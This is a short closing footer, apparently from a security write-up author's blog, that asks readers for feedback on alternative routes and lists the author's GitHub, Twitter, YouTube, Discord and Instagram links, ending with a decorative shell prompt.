- Do you want to tell me what you thought or if you would add/change anything?
- Do you want to support me by following me on the networks?
- Have you found any unexpected route?
Contact me through the following links:
Github: https://github.com/xchg2pwn
Twitter: https://twitter.com/xchg2pwn
YouTube: https://www.youtube.com/@xchg2pwn
Discord: https://discord.com/users/866396648691597374
Instagram: https://www.instagram.com/xchg2pwn
root@hell:~#